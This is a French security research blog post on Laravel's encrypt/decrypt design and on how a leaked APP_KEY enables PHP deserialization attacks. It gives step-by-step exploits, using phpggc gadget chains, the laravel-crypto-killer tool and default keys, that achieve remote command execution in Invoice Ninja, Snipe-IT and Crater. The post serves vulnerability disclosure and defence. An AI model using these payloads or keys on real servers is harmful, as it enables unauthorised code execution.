Laravel: Analyse de fuite d'APP_KEY

Rédigé par Rémi Matasse - 10/07/2025 - dans Outils , Pentest - Téléchargement

En novembre 2024, Mickaël Benassouli et moi-même avons parlé des modèles de vulnérabilité basés sur le chiffrement Laravel lors de Grehack. Cependant, chacune de ces vulnérabilité nécessite l'accès à un secret : l'APP_KEY, nous avons souligné les risques de sécurité impliqués et mis en évidence que ce secret est souvent exposé dans les projets publics.

L'histoire ne s'est pas arrêtée là, nous avons rassemblé un grand nombre d'APP_KEY et développé un nouvel outil pour identifier les modèles vulnérables à partir d'un ensemble d'applications Laravel exposées publiquement.

Ce blogpost résume notre parcours, depuis l'identification des vulnérabilités liées au chiffrement Laravel jusqu'à l'extension de cette connaissance pour une compromission massive d'applications exposées sur Internet. Nous parlerons de la méthodologie que nous avons utilisée afin de collecter des données sur Internet ainsi que de la manière dont nous les avons analysées pour obtenir les résultats les plus pertinents.

Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus

Introduction

Laravel est un framework web open-source basé sur PHP, conçu pour développer des applications web de manière structurée. Il offre des fonctionnalités telles que la gestion de base de données, l'authentification, et l'utilisation du modèle classique de conception Modèle-Vue-Contrôleur, facilitant grandement le développement d'applications complexes en équipe.

Grâce à sa versatilité et à une communauté mondiale très active, Laravel s'est imposé comme l'un des frameworks PHP les plus utilisés. Il compte actuellement plus d'un million d'instances exposées publiquement sur Internet.1.

Cependant, certains éléments de conception des composants internes de développement de Laravel présentent des risques, en particulier concernant l'utilisation de la classe Encrypter2 , qui gère le chiffrement et le déchiffrement en fonction du secret APP_KEY de l'application.

Bien que des vulnérabilités critiques dans ce composant aient déjà ébranlé la sécurité de Laravel par le passé, le cœur du problème n'a jamais été véritablement corrigé. Par conséquent, nous allons discuter de trois vulnérabilités dans des projets publics identifiées au cours de nos recherches, ainsi que des modèles exploités pour démontrer que ce problème de sécurité reste d'actualité.

Même si la connaissance de ce secret est nécessaire pour exploiter les vulnérabilités présentées dans cet article de blog, malheureusement, ces secrets restent inchangés dans de nombreux cas. C'est pourquoi nous aborderons également une analyse menée à l'aide de sources ouvertes pour déterminer la robustesse des secrets utilisés dans les applications exposées publiquement sur Internet.

Comment l'APP_KEY est utilisée dans Laravel

Laravel simplifie le chiffrement grâce à la fonction encrypt, qui s'appuie sur la bibliothèque OpenSSL pour assurer un haut niveau de sécurité. Cette fonction provient du package Illuminate\Encryption.

Les packages de la suite Illuminate sont des composants modulaires du framework Laravel qui fournissent des fonctionnalités spécifiques, telles que le routage, l'authentification, et dans ce cas, le chiffrement.

Utilisation basique des fonctions encrypt et decrypt

Le chiffrement de Laravel utilise l'algorithme AES-256 en mode CBC avec un vecteur d'initialisation généré aléatoirement. Le secret APP_KEY est utilisé comme clé secrète.

Les fonctions encrypt et decrypt sont chargées par défaut dans un projet Laravel, ce qui signifie qu'il n'est pas nécessaire de charger le module via use Illuminate\Encryption\Encrypter3 pour les appeler.

namespace Illuminate\Encryption;

class Encrypter implements EncrypterContract, StringEncrypter
{

public function encrypt(#[\SensitiveParameter] $value, $serialize = true)
    {
        $iv = random_bytes(openssl_cipher_iv_length(strtolower($this->cipher)));

        $value = \openssl_encrypt(
            $serialize ? serialize($value) : $value,
            strtolower($this->cipher), $this->key, 0, $iv, $tag
        );
[...]

        $iv = base64_encode($iv);
        $tag = base64_encode($tag ?? '');

        $mac = self::$supportedCiphers[strtolower($this->cipher)]['aead']
            ? '' // For AEAD-algorithms, the tag / MAC is returned by openssl_encrypt...
            : $this->hash($iv, $value, $this->key);

        $json = json_encode(compact('iv', 'value', 'mac', 'tag'), JSON_UNESCAPED_SLASHES);

[...]

        return base64_encode($json);
    }

Le code suivant permettrait à un utilisateur de chiffrer la chaîne Hello World!:

$originalData = 'Hello world!';
$encryptedData = encrypt($originalData);

La valeur de la variable $encryptedData dans l'exemple précédent est une chaîne base64 contenant un JSON avec quatre valeurs : iv, value, mac, and tag.

$ echo 'eyJpdiI6Iks0ZFloT0dZc0M5UGFnSTZNRENjMEE9PSIsInZhbHVlIjoiZTlWb1lERll4RXh3RkorY0ZadStxVE9ZcGJPdDIvRW96QkVtSHVDODY1TT0iLCJ
tYWMiOiJkYjYwYTRkMmNjMTg3NGFjOWE2ZjU0ZGRkN2JhZjkzYjVjZGIwNzI1MzBjYmI2N2I4YzU2YTliMTAxNTI3YzBiIiwidGFnIjoiIn0=' | base64 -d | jq
{
  "iv": "K4dYhOGYsC9PagI6MDCc0A==",
  "value": "e9VoYDFYxExwFJ+cFZu+qTOYpbOt2/EozBEmHuC865M=",
  "mac": "db60a4d2cc1874ac9a6f54ddd7baf93b5cdb072530cbb67b8c56a9b101527c0b",
  "tag": ""
}
  • iv : Un vecteur d'initialisation généré aléatoirement.
  • value : La valeur chiffrée en utilisant le vecteur d'initialisation et l'APP_KEY.
  • mac : HMAC généré à partir du vecteur d'initialisation et de la valeur, en utilisant l'APP_KEY comme clé secrète. Cette valeur a été ajoutée pour contrer les attaques par padding oracle.
  • tag : La valeur tag est uniquement utilisée dans les cas où AES est utilisé en mode GCM.

En résumé, les données chiffrées par Laravel sont manipulées sous forme d'un JSON encodé en base64 contenant une valeur chiffrée en mode AES CBC utilisant l'APP_KEY. Ces données sont souvent utilisées comme validateur d'intégrité pour la transmission ou le stockage de données sensibles.

Exposition aux attaques par désérialisation

Une attaque de désérialisation PHP exploite la fonction unserialize, qui convertit une chaîne en un objet PHP. Si un attaquant peut manipuler cette chaîne, il peut créer des objets malveillants qui, une fois désérialisés, exécutent du code arbitraire ou altèrent le comportement de l'application. Tous les objets ne sont pas nécessairement exploitables, Not all objects are necessarily exploitable, cela dépend de la manière dont les classes sont définies et des méthodes magiques comme __wakeup() ou __destruct(), qui peuvent être appelées pendant la désérialisation.

L'exploitation d'une fonction unserialize dépend donc fortement des bibliothèques chargées par le projet PHP et n'est pas nécessairement exploitable.

Pour déterminer si un framework ou une bibliothèque contient des chaînes de désérialisation exploitables, PHPGGC4, peut être utilisé. Cet outil, développé par Charles Fol, contient une liste de gadget chains affectant des projets et les versions affectées.

Le script test-gc-compatibility.py5, intégré à PHPGGC, permet de tester les versions d'une bibliothèque contenant des gadgets utilisables pour déterminer précisément s'ils sont toujours exploitables. Par ailleurs, comme le montre la capture d'écran suivante, Laravel contient de nombreuses chaînes utilisables, même dans ses dernières versions.

test-gc-compatibility on Laravel
Liste des chaînes de gadgets Laravel qui peuvent être utilisées avec phpggc pour obtenir l'exécution de commandes à distance via la désérialisation.

Vulnerabilities discovered during the process

Nous allons maintenant examiner les différentes manières d'exploiter les faiblesses liées à la fonction decrypt7 dans les environnements Laravel.

namespace Illuminate\Encryption;

class Encrypter implements EncrypterContract, StringEncrypter
{

public function decrypt($payload, $unserialize = true)
    {
        $payload = $this->getJsonPayload($payload);

        $iv = base64_decode($payload['iv']);

        $decrypted = \openssl_decrypt( $payload['value'], $this->cipher, $this->key, 0, $iv );
    
        [...]
    
        return $unserialize ? unserialize($decrypted) : $decrypted;
    }

Cette fonction prend deux paramètres :

  • $payload : Correspond à la chaîne de caractères normalement chiffrée par la fonction d'encryptage.
  • $unserialize : Un paramètre qui détermine si la chaîne déchiffrée doit être désérialisée.

Le problème ici est simple : par défaut, un appel à la fonction decrypt considèrera la chaîne déchiffrée comme des données sérialisées.

La variable utilisée comme clé de déchiffrement dans la fonction openssl_decrypt est l'APP_KEY. En résumé, un utilisateur en possession de ce secret sera capable de rechiffrer des données pour mener une attaque par désérialisation et ainsi compromettre le serveur hébergeant l'application Laravel.

Afin d'automatiser l'ensemble du processus, nous avons développé un outil open source : laravel-crypto-killer8.

logo_laravel_crypto_killer
Logo de Laravel Crypto Killer
./laravel_crypto_killer.py -h
usage: laravel_crypto_killer.py [-h] {encrypt,decrypt,bruteforce} ...

 ___                                _       ___                    _             __       _   _              
(O O)                              (_ )    ( O_`\                 ( )_          ( O)    _(_ )(_ )            
 | |      _ _ _ __  _ _ _   _   __  | |    | ( (_)_ __ _   _ _ _  | ,_)  _      |  |/')(_)| | | |   __  _ __ 
 | |    /'_` ( '__/'_` ( ) ( )/'__`\| |    | |  _( '__( ) ( ( '_`\| |  /'_`\    |  , < | || | | | /'__`( '__)
<  |__ ( (_| | | ( (_| | \_/ (  ___/| |   <  (_( | |  | (_) | (_) | |_( (_) )  <  | \`\| || | | |(  ___| |   
<_____/`\__,_(_) `\__,_`\___/`\____(___)  <_____/(_)  `\__, | ,__/`\__`\___/'  <__)  (_(_(___(___`\____(_)   
                                                     ( )_| | |                                             
                                                     `\___/(_)                                             
        This tool was firstly designed to craft payload targetting the Laravel decrypt() function from the package Illuminate\Encryption.
        
        It can also be used to decrypt any data encrypted via encrypt() or encryptString().

        The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.

        Authors of the tool : @_remsio_, @Kainx42
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        

options:
  -h, --help            show this help message and exit

subcommands:
  You can use the option -h on each subcommand to get more info

  {encrypt,decrypt,bruteforce}
    encrypt             Encrypt mode
    decrypt             Decrypt mode
    bruteforce          Bruteforce potential values of APP_KEY. By default, all the values from the folder wordlists will be loaded.

En 2024, nous avons découvert trois vulnérabilités sur des projets publics en utilisant cet outil. Chacune de ces faiblesses est liée à un schéma de vulnérabilité ciblant le chiffrement Laravel et menant à l'exécution de commandes à distance.

Il est important de noter qu'Invoice Ninja, Snipe-IT et Crater sont déployé avec un fichier.env.example contenant une APP_KEY par défaut, qui est susceptible d'être utilisé en production.

Appel vulnérable à la fonction decrypt dans Invoice Ninja9 (CVE-2024-5555510)

Un attaquant en possession de l'APP_KEY est en mesure de contrôler entièrement une chaîne de caractères passée à un appel pré-authentifié à une fonction decrypt.

En effet, dans tous les projets Invoice Ninja, la route /route/{hash} du fichier routes/web.php permet d'atteindre un appel à la fonction decrypt.

Route::get('route/{hash}', function ($hash) {

    $route = '/';

    try {
        $route = decrypt($hash); 
    }
    catch (\Exception $e) { 
        abort(404);
    }

    return redirect($route);

})->middleware('throttle:404');

Pour générer une charge utile de sérialisation conçue pour exécuter la commande bash id sur un serveur basé sur Laravel, l'outil phpggc a été utilisé :

$ php8.2 phpggc Laravel/RCE13 system id -b -f
YToyOntpOjc7Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MzU6IklsbHVtaW5hdGVcRGF0YWJhc2VcRGF0YWJhc2VNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjE2OiJkYXRhYmFzZS5kZWZhdWx0IjtzOjY6InN5c3RlbSI7czoyMDoiZGF0YWJhc2UuY29ubmVjdGlvbnMiO2E6MTp7czo2OiJzeXN0ZW0iO2E6MTp7aTowO3M6MjoiaWQiO319fX1zOjEzOiIAKgBleHRlbnNpb25zIjthOjE6e3M6Njoic3lzdGVtIjtzOjEyOiJhcnJheV9maWx0ZXIiO319fWk6NztpOjc7fQ==

Enfin, pour manipuler et exploiter le chiffrement de Laravel, l'outil laravel-crypto-killer peut être utilisé. La chaîne de caractères générée par phpggc peut être chiffrée à nouveau afin de réaliser l'exécution de commandes à distance sur le serveur affecté, sans accès préalable :

$ ./laravel_crypto_killer.py encrypt -k RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= -v $(php8.2 phpggc Laravel/RCE13 system id -b -f)
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJhbmE4ck1BVitqWUNjK0dNRi9uV0VnPT0iLCAidmFsdWUiOiAiYndlUTRyaDgyWGhDRFZ1dkxvbVlTcmpoWTR6cmRjTDc0QzRRcjBiVzhrQTU1N0hYS1NxUU9nOUJWbEFNbDVqTDFSNjVBMmpQMzg0b01KVm8vbEZxcHVodEIveE1kV2lOZWVDRWszRlE5T3l3OHhyemZHdWx6Q2Jxcm5Hb0NqdVJVamlZVkZJcDNIR21YeXVwWWVuNURXQjRldDluTG9BczR4SlJKTDV0VGliQ09CRmd2dTA3b0txRStWTEhUdmhCRGlTaEk3TkpRbTlOS2YraWlZUS9odURMOGtrVzh3S2w4NUtiUE9xN1A2ZktDVklMYkNCVnZkVXc2eW02RGY4QklzL3R1RTJkbHpud1drbE1BZ01mU2Zjejd2bDZWSTc4SmV6L1NOQlNlRXdwL1N0YXRnWDJaQzQwRUl5QXhrZzRPSnBzNktEa24zY3pZaXZLQ0ZXZ2NRNnhZaFFycm95cnZ4MjdUa1JsMFB1aTkyTzI1ZzhTbXlyTzV0eFg2dXQ5MkxGc2xWeUhtUFN5WHA4RlAxcGk5cVZWL0cvdCtKbHJLeWp0V3RZUVJSSmxHSXNGSFNJelh1N2t0WWplMExEQSIsICJtYWMiOiAiODhiOGI1MGQzZmQ5NTQwNjllYzUxNjVkM2Y2MjNlZDM5N2Y4YWZmZDRhMjMyMmY1YTQ0ZDhkYjQ3NDkzZDE2MCIsICJ0YWciOiAiIn0=

# Reusing the previous chain on invoiceninja
$ curl -s http://in5.localhost/route/eyJpdiI6[...]0= | head -n1
uid=1500(invoiceninja) gid=1500(invoiceninja) groups=1500(invoiceninja)

Sérialisation dans le XSRF-TOKEN de Snipe-IT11 (CVE-2024-4898712)

Un attaquant en possession de l'APP_KEY est en mesure de contrôler entièrement une chaîne de caractères passée à une fonction unserialize lorsqu'un appel à la fonction decrypt($user_input) du package Illuminate\Encryption est effectué. C'est le cas pour le cookie XSRF-TOKEN lorsque l'option Passport::withCookieSerialization() est activée.

Pour générer une charge utile sérialisée conçue pour exécuter la commande bash id sur un serveur basé sur Laravel, l'outil phpggc a été utilisé.

$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=

Afin de manipuler et d'exploiter le chiffrement de Laravel, l'outil laravel-crypto-killer a été utilisé. La chaîne générée par phpggc peut être chiffrée à nouveau pour permettre l'exécution de commandes à distance sur le serveur affecté, sans accès préalable :

$ ./laravel_crypto_killer.py encrypt -k 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= -v $(php7.4 phpggc Laravel/RCE9 system id -b)
eyJpdiI6ICJvck1SVWxyNDF6Lytaeks4a3NxU0tnPT0iLCAidmFsdWUiOiAiUkI0Z21sbCtZN1lJcWY2OS9HaHNjMDhteGNycGwvSStNQ2FaTDczdHhOTlpUUE5kVExCbkQybm5LRHp5SEtwYkRkeVVXcEZzWVpzMTNRbnJSSnFaaFdOVDczY1hsajFTMzFqNXZ1NFhYZGdjenFBT2s1LytiSURTbDQyU3JWNUMzM3lCRjZxZGhBWDVlMklYR1Y2c29FdnRRVUtvMkkxQkorYnltWGtFOHFUREwwTUU3TWRrWlRGR1FRdTkydE85b0JxeW5WRldOcUFieCtoYnM1UjREaDhBaGg5bzVhK3U1Q2o5OHkwRS80MlFVZmRPMW9SQm0rYVliMTRUTFZWTGc0TjhHK010SWpUclBpeURwT1Mxd3lSWTkvTlpZelcxVGs3Z2xTVTFBdXBvZ1RoSUEyckhaTTJ1TXBUTklZYiswV0NFTEZGa2padHkzUEovRER2Nzh5a2h3OXFKb0dRQ01mMVllMnVMUS8rdGh3N1JWWCtJazhWaEk0K0ROVkhYdWk1ekh2MUZzUGJFZTdkWCszQ1RvcDBkcktpTlBzdlVUVHVEMlRkWmN3ODRza1Y3WXNPSWU5RHdXbEswT1o1UCIsICJtYWMiOiAiNjA0ODE1NjQ1NWY2YWJmNGY5OWE2YTg3YzY0MzUxNDU0YmU0YzQwMDliM2NiMDJkYTg2ODZkNzNmMzJjMWEyZiIsICJ0YWciOiAiIn0=

# Reusing the previous base64 chain to trigger the remote command execution
$ curl -s -H "Cookie: XSRF-TOKEN=ey[...]0=" http://localhost:8000/login | head -n 1
uid=1000(docker) gid=50(staff) groups=50(staff)

SESSION_DRIVER cookie vulnérable dans Crater13 (CVE-2024-5555614)

Un attaquant en possession de l'APP_KEY est capable de contrôler entièrement une chaîne de caractères passée à une fonction unserialize lorsqu'un appel à la fonction decrypt($user_input) du package Illuminate\Encryption est effectué. Lorsque l'option SESSION_DRIVER=cookie est activée dans le fichier .env, la session est stockée dans un cookie de 40 caractères base64 aléatoires contenant l'objet utilisateur sérialisé et chiffré.

Pour exploiter cette vulnérabilité, ce cookie doit être récupéré. Dans la réponse HTTP ci-dessus, il est nommé DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT. Il est à noter que ces cookies sont fournis à tout utilisateur non authentifié :

$ curl -I http://localhost/login
HTTP/1.1 200 OK
Server: nginx/1.17.10
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Cache-Control: no-cache, private
Date: Tue, 03 Sep 2024 12:28:44 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6ImdOS2lwMEhyNDNja0UzK3pCWEcxMXc9PSIsInZhbHVlIjoiMU1jMWlrYnRhN2ZRUVVvUEFaZVpVcC9Nb0h2U2J1eHJBZFdKcmpqSlcyclBpV1Azb3NXUTBFbkN0T3o3OTlwMk9yM2xLejBMNlV0U2FDalNzL1lhZDRkRUZtZzc2aitwVm40eWNHbC9pakR5SHRmYmN2R1pPSGsxQ01sMEVkZnQiLCJtYWMiOiJmN2M3OTI3MjExNGU4NTNlOTZiMGFkNjZlZmQyOTg2MWUwZjY1MzAyMDQwMzk3ZDM1NWRiZmI2NWVjNjI0OWJhIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Set-Cookie: DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax

Afin de manipuler et d'exploiter le chiffrement de Laravel, l'outil laravel-crypto-killer peut être utilisé. Dans l'exemple suivant, le mode decrypt a été utilisé pour récupérer la valeur en clair du cookie DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT.

$ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D
[+] Unciphered value identified!
[*] Unciphered value
ae8213eefa7b10062a52485c7dcca8a5a937cc1c|{"data":"a:2:{s:6:\"_token\";s:40:\"X3BnPcQvhG1azDQ04mx3A79rt998EiRBQXINtD3Z\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725452924}
[*] Base64 encoded unciphered version
b'YWU4MjEzZWVmYTdiMTAwNjJhNTI0ODVjN2RjY2E4YTVhOTM3Y2MxY3x7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJYM0JuUGNRdmhHMWF6RFEwNG14M0E3OXJ0OTk4RWlSQlFYSU50RDNaXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NTI5MjR9BwcHBwcHBw=='
[+] Matched serialized data in results! It is time to exploit unserialization!

Une fois déchiffrée, la valeur du cookie doit correspondre à un hachage suivi d'un objet JSON contenant des données sérialisées PHP.

Une charge utile d'exploitation conçue pour exécuter la commande bash id sur le serveur a été générée avec phpggc. La valeur du hachage avant le | (ici ae8213eefa7b10062a52485c7dcca8a5a937cc1c) doit ensuite être passée à l'option --session_cookie pour rechiffrer un cookie Laravel valide. La sortie de la commande phpggc doit également être passée à l'option -v pour chiffrer la charge utile sérialisée à l'intérieur d'un cookie Laravel valide.

$ php8.2 phpggc Laravel/RCE15 'system' 'id' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0=

$ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=ae8213eefa7b10062a52485c7dcca8a5a937cc1c
[+] Here is your laravel ciphered session cookie
eyJpdiI6ICJxaVNJNnBPejM0SGgzNllSeENKU3lnPT0iLCAidmFsdWUiOiAiblJJQm83R2l6eXRVekxmZGxGU0p2OFFqajZ5STNVai9FdThjZDVzb21ucCt0eVlhS1V5ZldwWnNQdWxiYzlNUkVWWFgweDBXYXBsb1NRTHUvOVBBRjl0UFdLZmszamFLMGVKZ2NXNUJSeXg0bWhLU3duaTVZMnN3cUZzeVZLbHBsNDluYWNySXhiZTU4d3l0dTk4cVE0bDl3NzV4NVVrNTExSmhoVVpHWDJoQXVOWFY0RHdUeWlpUUlJS0JhbEFYMUdDU2w0SlZjSndYNVQyVHd3cFRjaWhqcTA0S2ZNbXVUR1NBQTdpU2JSQVFleER3V0hCV1lJKzB5ZUNCN2NuM2hUa0JFV2lOZlZhSWJVaklLWXlNQnlxZ2swUkdOVG9PRHdhU2NSdmJ2RDMzYzU5RU4zbWoxanN4eUFGcnAvVWluRkw2TlFtQzJlR1FXQzA2eDB2a29oWVB6cUZUOFBST2YwK1F5bFBvUy9HMUduQVRLUEFWZ0hDV3Y2SC9TRDd1aXVXOXFWaFdYVktNeURweGR6b2t6NWxkOUYzRVZBNURuRXNtd2p4V1NWUXZFaHRpRVpGRURqWTd4T0lYTGI2Unk4QlZqQjJ6SVBZdWJoYjI3ZjNVdlNyM1ZXRHpFOWd3V1hIT3NSRC9VTlBFaFhyQWczdVFGUEp5RnZVcWRweWNSWVZyQVljYVNMV0JLQU5VWUpnMGRjSVRQbVZMVjZBQjdibEVpaHdBTTAvMlh2dURpSUFLZ016NHpueXpVdDl1TGN3amx1dllvd2NzaktZNU44UVVRUGllbXlSSjR1WXRJNG5VS1I0a1QzRWRCRTlWbnJtamF4Qmd1aFJnRmtIQWIraFZNWkNBNWpDY1VqS0xxaXdSdE9uRTFIOFh0dnZkazFsMU5zK1dqbnhRc0dUR3FQTUQwVzVwOTBGKzh6Ly9TbDJlYS9pM1RQdEI1cGg1cmNiL05UczZnQmorMkJZUDh1czgvclZKMjZnaXpaMk5wQWEvVUZTOWZuRVhuNlhJc3FOYXFoelNwQjB2OFZJbnhDZ1ZjdEkzd0RETU5WWUsrNVZGUVMySUdDZUdoYXpFQm9hRFJWR280UzBFSVRmcCIsICJtYWMiOiAiZGE5ZTMwMzczMDZjNmQ0MjQ3YzUzYzdlMzcwNzU5NjlmMTlhZDJmYmNhZmE3OWE5MGNlN2RlOTY2MjdjZGJlMCIsICJ0YWciOiAiIn0=

La valeur résultante est ensuite placée dans le cookie d'origine DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT, en même temps que le cookie laravel_session, les deux sont ensuite envoyés au serveur pour finaliser l'exploitation.

$ curl -s -H "Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJ[...]CJ0YWciOiAiIn0=" http://localhost/login | head -n1
uid=1000(crater-user) gid=1000(crater-user) groups=1000(crater-user),0(root),33(www-data)

Résumé des vulnérabilités

Nous avons souligné le fait que l'utilisation de la fonction decrypt sous sa forme actuelle peut rapidement mener à des vulnérabilités d'exécution de code à distance.

